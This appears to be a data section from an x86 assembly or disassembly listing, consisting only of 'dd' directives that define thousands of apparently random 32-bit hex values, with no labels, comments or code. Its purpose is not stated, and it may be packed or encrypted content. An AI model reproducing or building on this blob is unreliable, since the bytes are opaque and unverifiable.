dd 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh, 331C9D54h
dd 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh, 10213C87h
dd 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh, 396D39D3h
dd 0F3D55580h, 523C76B9h, 0DBC0E00h, 510203C4h, 0C23B3E0Ah
dd 7BD31080h, 40143B0h, 0EB349A1Eh, 0F8E76783h, 14B3CF60h
dd 8305F898h, 750F00FBh, 0ECCC72B7h, 1982BCEh, 829F3Eh
dd 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h, 0C80238D4h
dd 30B4D26Ch, 4201E022h, 34990004h, 8C5F3FB8h, 7E001F0Ch
dd 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh, 0F600DA3Bh
dd 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh, 80B9101h
dd 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h, 28CD4098h
dd 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh, 89F8210Dh
dd 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h, 0D017D93Ch
dd 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh, 20A1824Ch
dd 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h, 0F2A5299Fh
dd 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h, 5134C3A6h
dd 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h, 911F6850h
dd 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh, 1F5D5CE0h
dd 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h, 15A5B340h
dd 10240009h, 438D55C1h, 3600352Ah, 19AAA034h, 900D9EFAh
dd 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h, 0E5197515h
dd 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch, 0EC3C2207h
dd 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h, 30500600h
dd 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah, 80A41840h
dd 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h, 34502CBEh
dd 5864BBh, 698592A8h, 94A791DBh, 9522721Eh, 8EF6BD80h
dd 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h, 55437850h
dd 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh, 0B7C766EBh
dd 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h, 0F46F2439h
dd 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh, 0D04AA613h
dd 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h, 4C358B80h
dd 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h
dd 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h, 167F425h
dd 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h, 24E57593h
dd 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h, 3F529B00h
dd 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h, 0EA73AE00h
dd 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh, 0C0318E2Fh
dd 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah, 79642FECh
dd 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h, 3BC51E0Ch
dd 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h, 4930900Ah
dd 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h, 453020C8h
dd 28663B40h, 2B344207h, 1525400Ch, 570F12BEh, 0FD23BB8Eh
dd 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h, 0C0DE2090h
dd 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h, 561F6119h
dd 88000C49h, 35941D55h, 89B0047h, 66929EA4h, 2116739Dh
dd 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah, 553B9894h
dd 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h, 0CE70DD5Ah
dd 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh, 0DA4714F2h
dd 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h, 0B86F28AAh
dd 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h, 8CF05290h
dd 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h, 0A09F13C3h
dd 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh, 0AD6C7Ch
dd 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h, 5EA5008Ah
dd 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h, 2E745E0h
dd 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h, 820CD054h
dd 8AD5B080h, 24B70037h, 49E65906h, 630061BFh, 0AE121D58h
dd 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh, 0C18500CFh
dd 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh, 1C5DCAFAh
dd 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h, 21718A23h
dd 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h
dd 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch, 0A8DBC816h
dd 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h, 0DA534540h
dd 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h, 744C8EEh
dd 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh, 0BE644AC2h
dd 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h, 7327EB00h
dd 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h, 10739BC7h
dd 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h, 0C4D9F5C2h
dd 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h, 0E0221E75h
dd 7542320h, 8A53C379h, 70818027h, 9300B57Ah, 9A61F265h
dd 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h, 0DC25E1Fh
dd 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h
dd 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h
dd 9FB35D2h, 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h
dd 158D13h, 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh
dd 89D838FEh, 0C108071Eh, 14100E0Ch, 207D2016h, 0E09FBE70h
dd 7A706014h, 0C0A00380h, 910129E0h, 44022290h, 89040300h
dd 18251505h, 310E214h, 84820636h, 0A9309E2h, 0CB30BA3h
dd 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh
dd 5780882Eh, 44A3900h, 53063572h, 0A09DF8BEh, 188A00B8h
dd 5C882840h, 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh
dd 0E04FFFE7h, 47AFCC7h, 0FE031B00h, 5CD72F89h, 783B6014h
dd 9A0FD273h, 27017279h, 0CE2B1080h, 70D4E8D3h, 790101A4h
dd 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh, 32DC1F6Ah
dd 7FC0AD1Fh, 0EBBC8100h
dd 7911ABBh, 17410D88h, 8C1E6082h, 29000525h, 2402D6F8h
dd 0C82D66h, 505553B4h, 22579856h, 0F00FB901h, 612EA2AAh
dd 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh, 0F4EE3B13h
dd 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch, 40430800h
dd 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h, 7440698h
dd 62336815h, 0C71CD0FFh, 17CC849h, 890080ECh, 656A8D18h
dd 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h, 0C43EF101h
dd 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h, 10F983C3h
dd 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh, 0ED9CE6C1h
dd 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh, 0D88A28FBh
dd 0DAE9B9h, 0BD766C89h, 3981BF34h, 0BB661007h, 89FB0714h
dd 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh, 4A00A284h
dd 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h, 0F049800h
dd 4295628Dh, 0FF960367h, 320DC0B6h, 26985B98h, 1F046973h
dd 23824B11h, 61C98B80h, 0F13B1EEDh, 26807EB4h, 0C12FC88Ah
dd 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h, 373B0D87h
dd 0BCE2B328h, 47210A1Fh, 1F4C5E67h, 0FAC89741h, 0B0AD3800h
dd 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h, 8AA0EF30h
dd 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h, 14CA6AE2h
dd 0DB00950h, 0B680F8C2h, 7817AEEFh, 7334F900h, 2EFC27D0h
dd 1FC4E24Ch, 4280CA2Bh, 0E325DC49h, 5CA65AC0h, 64A42201h
dd 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh, 0EBD38700h
dd 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h, 30143F00h
dd 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h, 0DC110D12h
dd 2EF03C02h, 0E8B0F00h, 843079C9h, 896F00FAh, 961C410Ah
dd 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h, 8E8BC107h
dd 31745389h, 598125D0h, 6212F400h, 4068D233h, 70BCE6B7h
dd 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h, 3E3DAh
dd 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h, 0E8001FD1h
dd 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h, 13900085h
dd 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h, 81DEB9Bh
dd 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h, 0E3AD2C03h
dd 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh, 25013C0h
dd 527E5411h, 5295800h, 0C4860CDh, 0FAA6005Ch, 0E8AACA81h
dd 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h, 0CA6B0069h
dd 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h, 6A2C53ABh
dd 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h, 8DED7213h
dd 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h, 0D200F35h
dd 2C35943h, 6D316C62h, 8840098Dh, 15017310h, 5203EDF3h
dd 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h, 28007560h
dd 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h, 48C07DE0h
dd 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h, 96821100h
dd 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh, 0C6501700h
dd 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch, 920EB700h
dd 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h, 5045578Bh
dd 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h, 640083C6h
dd 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh, 2407EB80h
dd 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh, 3D104C88h
dd 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h, 0A0B8EEF0h
dd 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh, 97908Dh
dd 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh, 0E2324E52h
dd 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h, 2303C5A7h
dd 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h, 1E88BF1h
dd 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h, 21BF145Eh
dd 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h, 0E9AB1000h
dd 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h, 9A1501F5h
dd 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh, 0C5CDD0C7h
dd 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h, 80C092DAh
dd 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h, 868A2411h
dd 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch, 74F07EB8h
dd 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh, 4163166h
dd 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh, 314A2789h
dd 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh, 6A733882h
dd 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h, 0E74387CDh
dd 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h, 0A86C9A14h
dd 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h, 25B3AB45h
dd 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah, 5AB5629Eh
dd 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh, 1552C862h
dd 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h, 40B00644h
dd 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h, 8A3C40D1h
dd 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h, 0C9F0BD13h
dd 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh, 0C6AFC382h
dd 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h, 0AB00E428h
dd 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h, 441007C4h
dd 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh, 0D190C3h
dd 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh, 758EB002h
dd 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h, 15E1A7FCh
dd 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h, 5FD73B11h
dd 7C543700h, 767E532Fh, 0B097FCEh, 57428758h, 30ABA580h
dd 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h, 0C8807F8h
dd 743D6224h, 4053FE00h, 70358B77h, 31300CEh, 0EB0D68CCh
dd 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh, 0D0FC5F12h
dd 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh, 0B8C1D9B7h
dd 83F2B900h, 2743EC7h, 822F0087h, 2757E181h, 0D900C958h
dd 0C13BE440h, 1F7726h, 0DD021D6Eh, 0FA18D2CBh, 0BA965307h
dd 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h, 0BA754F81h
dd 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h, 0F2530094h
dd 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h, 387225Ah
dd 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h, 24945A48h
dd 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh
dd 6BC572h, 0C45B18A1h, 58A5DA88h, 95846007h, 0FC0010C6h
dd 800203h, 0F3E4E938h, 11C9798h, 0C23A8300h, 0C7405674h
dd 4A9300D4h, 4C35B20h, 48000D7Bh, 0DB2A5E52h, 17A95AAh
dd 6F1CA5A3h, 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h
dd 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh
dd 9CEC0E9h, 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h, 3FF45174h
dd 0EE8031CBh, 8DA6C6ACh, 821D27AAh, 14C0C3F1h, 0F5F20195h
dd 5C8500F6h, 0DD54029h, 9200519Dh, 0B2523E4Bh, 3E9A776h
dd 29E5F810h, 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h
dd 3CE702F0h, 0B10FC458h, 8280A605h, 87453D80h, 6F936400h
dd 6D37803h, 20050055h, 2608A11Bh, 44006209h, 9811B34Ch
dd 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h, 541A1500h
dd 0AC2EDC8Ah, 789005Eh
dd 0A96C7952h, 44007C34h, 0E8170509h, 7AD95F7h, 804893D8h
dd 875C05Dh, 141FCCD3h, 6C02CA3h, 18F7C62Dh, 1D890017h
dd 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h, 79E3184h, 0A8363997h
dd 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h, 5CD24DB3h
dd 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh, 42A9A824h
dd 0FF011E53h, 5780405Bh, 6F646E69h, 734B7705h, 0C580DCAAh
dd 1353925h, 7FE43B7Dh, 7E4F1219h, 60C5AFB0h, 0BD3822C8h
dd 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h, 33F80154h
dd 7542252Eh, 344E7095h, 8057900h, 2306A32h, 58700060h
dd 10258050h, 4C00FCBFh, 0C9987ECBh, 0F2C1997Fh, 36BC002Bh
dd 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh, 3E79722Dh
dd 2E00760Ch, 95D7F2F0h, 0B5001B7Fh, 0CAFF50D3h, 0DF7126h
dd 33CD9214h, 474F5455h, 6843EC0Fh, 27A0008Ch, 1A40A9h
dd 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h
dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h
dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h, 0DB642ED6h
dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh
dd 7600F6F8h, 199BB82h, 7A75251Ch, 4B0A0F42h, 0C200A7D4h
dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h, 1AD6482Fh
dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h, 4142ABh
dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh
dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h
dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h, 0BE927D33h
dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h, 749C53E9h
dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h
dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh, 0C951CE80h
dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch
dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh
dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h, 0B0279943h
dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah
dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h
dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h
dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h, 0EB15FF60h
dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h
dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h, 287C0A6Ah
dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h
dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah, 458A006Ah
dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h
dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h
dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch
dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh
dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh, 5700D102h
dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h
dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh, 9C2C39h
dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h
dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h
dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h
dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h, 52450F1Bh
dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh
dd 1AEE224h, 308298E9h, 0C83A41B0h, 4799B0Dh, 407F7700h
dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h
dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah
dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h
dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h, 0F8347B59h
dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh
dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h, 65F27Eh
dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h
dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h
dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h, 0C82CB5h
dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch
dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h, 6F9B014Ah
dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h
dd 64F7600h, 41B10CBCh, 61FC6400h, 65633B6Eh, 19200029h
dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh
dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh
dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h
dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h
dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch, 99D7841Dh
dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh
dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h
dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h
dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h, 8FEED912h
dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h
dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h
dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h
dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh
dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h, 94F7FA3h
dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h
dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h
dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h
dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h
dd 31C2008Ah, 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h
dd 75B907FAh, 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch
dd 3047D83h, 5570C09Bh, 0D0E70EC8h, 12BC62B8h, 0CAD95200h
dd 1005DC46h, 0B08C00D8h, 1FA4D030h, 6726D443h, 0F601AF27h
dd 834807E8h, 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h
dd 38840800h, 2761012h, 56E90009h, 33557EA5h, 6E1C8B78h
dd 5DC08F92h, 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh
dd 18EC0C99h, 12A95A8h, 0AC0E495Fh, 0D8727D81h, 0FD007F63h
dd 480FDF05h, 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah
dd 9C472C3Fh, 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah
dd 787BF1E9h, 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h
dd 1A8C2114h, 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h
dd 0C76ABDE8h, 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h
dd 7C3BCCB8h, 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh
dd 0A0A30109h, 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h
dd 429800E0h, 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h
dd 33C076E4h, 0D040B45Dh, 0D4961900h, 6138A03h, 0BEF93C48h
dd 944E6F80h, 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h
dd 740F00DBh, 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh
dd 0C2750033h, 32F546E5h, 97008F22h, 2CC86692h, 3D81D140h
dd 9183D80Ch, 4B0A5B6Bh, 4CB8490h, 1941CA00h, 8345A0EAh
dd 0B4B80A62h, 81AE1Eh
dd 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h, 31E075EEh
dd 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h, 18890235h
dd 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch, 4BC32Bh
dd 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch, 4CE208h
dd 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h, 94BC2441h
dd 0F61E3Ah, 8B28BB3Ah, 48010537h, 2C438319h, 42301221h
dd 14660030h, 16BE8B50h, 0FE00344Ah, 7B80DE02h, 0D6C103h
dd 0F2B0576Eh, 0EA52BA68h, 5900D5ECh, 0F84E8D6Dh, 6C0394Ah
dd 7705F980h, 49FAFC51h, 1904DAFAh, 1708B710h, 29C01E87h
dd 0B8913248h, 89560009h, 33EB684Bh, 7A1CC72Bh, 6E407980h
dd 1081322h, 88191D90h, 1E101D02h, 3E071E04h, 0CEF62780h
dd 0DE89F1Bh, 850F240Bh, 8A3980CCh, 73E43h, 1D74052Ch
dd 4F83C8FEh, 0F50EE3Ah, 0D488FA08h, 842E00BCh, 0AAEDE93Fh
dd 6ABB00BDh, 0F81C904Ch, 87000FC6h, 369C37B7h, 48F38918h
dd 8009939h, 0C8C111ADh, 8E00D509h, 14550E9h, 0FA1833FDh
dd 25F822h, 367B8D05h, 0EB1354BEh, 5C9DA30Fh, 17E980C3h
dd 14801ABh, 425E8414h, 0EDE4F2B4h, 5CBCE488h, 74F244F2h
dd 5026A9F2h, 57038171h, 0B80B20EDh, 3E548602h, 6583C976h
dd 37A608BAh, 0CEE4B898h, 0B9364404h, 1380810Ch, 7614868Ah
dd 5D450349h, 97D45942h, 0BDA400F5h, 93208BF1h, 0E807CC98h
dd 2D121AD3h, 864814C0h, 0A9910077h, 0EB2A8A3Bh, 11012C3Ch
dd 1408F534h, 68F85F64h, 1B3B0178h, 0BE0A0960h, 5310601Dh
dd 0E200287Fh, 4A4B9734h, 9C5A7h, 91160722h, 0D40B944Fh
dd 0ED145Ch, 136DA48Fh, 0E274067Ch, 4409000Eh, 3E882E1Eh
dd 500056EBh, 0B7C4A28Ch, 33C6A65h, 0D689AFF7h, 0E6A01499h
dd 6300ACD9h, 4D4BFCB8h, 0BADCFFh, 0B2365C43h, 0EB2B5A20h
dd 7CD7F07h, 47332C0Ah, 81069017h, 1D3A9024h, 4014C95Fh
dd 0E57C115Dh, 4C00210Eh, 3BF23C10h, 264B22BCh, 19142Ah
dd 74D807C8h, 900785BEh, 68B2A4F0h, 0E6BB4160h, 9FB0000Ah
dd 0BCB95D09h, 0C3004916h, 25856C03h, 0C4001h, 36383420h
dd 0B6587644h, 630011ECh, 0B5C2EF75h, 14302B01h, 0ECFA5390h
dd 2E0F323Ch, 0FD660D4h, 80BDCAE7h, 7257865Fh, 2DE06269h
dd 63614200h, 6E45206Bh, 3568005Eh, 56A47A57h, 3400291Ch
dd 505B7660h, 695D03h, 2F856D75h, 0D4309401h, 535E3Ah
dd 0C2E349BCh, 436517h, 0B6B2BE1Ch, 6D90B56Eh, 58007298h
dd 307053EFh, 3B314BADh, 3752DA5h, 0DCAFB590h, 11905098h
dd 4D002809h, 8C27646Fh, 295525h, 0A534482Ch, 0CD9AFAD8h
dd 6B019D07h, 5070AC53h, 0FC75DEh, 6AD25930h, 4264A128h
dd 8B83BF12h, 1978E000h, 760A464Eh, 0A7091DE5h, 0A87C4027h
dd 0F67E704Fh, 804A0200h, 0CC5B89FCh, 8A787Dh, 0E0B9C45Eh
